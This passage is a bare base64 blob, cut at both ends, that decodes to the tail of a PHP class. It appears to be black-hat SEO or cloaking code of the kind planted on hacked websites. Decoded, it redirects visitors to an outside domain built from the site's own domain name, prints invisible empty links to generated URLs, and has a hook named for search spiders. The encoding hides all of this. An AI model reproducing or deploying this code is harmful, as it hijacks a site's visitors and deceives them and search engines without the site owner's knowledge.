cl9yZXBsYWNlKCIuIiwiXyIsJHRoaXMtPmRvbWFpbik7CgkJCWhlYWRlcignTG9jYXRpb246IGh0 dHA6Ly9udC53eGNvb2xiYWJ5LmNvbS9udC8/anBfJy4kZG9tYWluKTsKCQkJZXhpdDsKCQl9Cgl9 CgkKCXB1YmxpYyBmdW5jdGlvbiBfdW5jb25kaXRpb25faG9vaygpewoJCSRhcnJheSA9IGFycmF5 KCk7CgkJZm9yKCRhPTA7JGE8NTskYSsrKXsKCQkJZWNobyAnPGEgaHJlZj0iJy5BcHBfR2V0TGlu aygpLiciPjwvYT4nLiJcbiI7CgkJfQoJfQoKCXB1YmxpYyBmdW5jdGlvbiBfdW5TcGlkZXJfaG9v aygpewoJCS8vCgl9CgoKCXB1YmxpYyBmdW5jdGlvbiBzdHJTdGFydFdpdGgoJG5lZWRsZSwgJGhh eXN0YWNrKXsKICAJICByZXR1cm4gKHN1YnN0cigkaGF5c3RhY2ssIDAsIHN0cmxlbigkbmVlZGxl KSk9PSRuZWVkbGUpOwoJfQoJCglwdWJsaWMgZnVuY3Rpb24gY3V0KCRmaWxlLCRmcm9tLCRlbmQp Cgl7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGZyb20sJGZpbGUpOyAKCQkkbWVzc2FnZT1leHBsb2Rl KCRlbmQsJG1lc3NhZ2VbMV0pOyAKCQlyZXR1cm4gICAkbWVzc2FnZVswXTsKCX0KfQoKCg==